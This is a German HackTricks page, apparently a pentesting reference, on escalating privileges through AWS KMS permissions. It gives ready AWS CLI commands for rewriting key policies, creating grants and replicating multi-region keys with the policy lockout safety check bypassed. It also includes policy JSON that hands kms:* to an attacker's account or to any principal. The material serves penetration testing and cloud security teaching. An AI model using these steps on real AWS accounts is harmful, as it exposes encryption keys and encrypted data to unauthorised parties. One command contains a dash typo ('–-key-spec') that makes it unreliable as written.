AWS - KMS Privesc

Unterstütze HackTricks

KMS

Für weitere Informationen zu KMS siehe:

kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)

Mit diesen Berechtigungen ist es möglich, die Zugriffsberechtigungen für den Schlüssel zu ändern, sodass er von anderen Konten oder sogar von jedem verwendet werden kann:

aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json

policy.json:

{
"Version" : "2012-10-17",
"Id" : "key-consolepolicy-3",
"Statement" : [
{
"Sid" : "Enable IAM User Permissions",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<origin_account>:root"
},
"Action" : "kms:*",
"Resource" : "*"
},
{
"Sid" : "Allow all use",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<attackers_account>:root"
},
"Action" : [ "kms:*" ],
"Resource" : "*"
}
]
}

kms:CreateGrant

Es erlaubt einem Principal, einen KMS-Schlüssel zu verwenden:

aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt

Ein Grant kann nur bestimmte Arten von Operationen erlauben: https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations

Beachten Sie, dass es einige Minuten dauern kann, bis KMS dem Benutzer erlaubt, den Schlüssel zu verwenden, nachdem der Grant erstellt wurde. Sobald diese Zeit vergangen ist, kann der Principal den KMS-Schlüssel verwenden, ohne etwas anzugeben. Wenn es jedoch erforderlich ist, den Grant sofort zu verwenden, verwenden Sie ein Grant-Token (siehe den folgenden Code). Für weitere Informationen lesen Sie dies.

# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token

Beachten Sie, dass es möglich ist, die Berechtigungen von Schlüsseln mit aufzulisten:

aws kms list-grants --key-id <value>

kms:CreateKey, kms:ReplicateKey

Mit diesen Berechtigungen ist es möglich, einen in mehreren Regionen aktivierten KMS-Schlüssel in einer anderen Region mit einer anderen Richtlinie zu replizieren.

Ein Angreifer könnte dies ausnutzen, um seine Berechtigungen für den Schlüssel zu erhöhen und ihn zu verwenden.

aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

kms:Decrypt

Diese Berechtigung erlaubt die Verwendung eines Schlüssels, um Informationen zu entschlüsseln. Für weitere Informationen siehe:

Unterstütze HackTricks

Last updated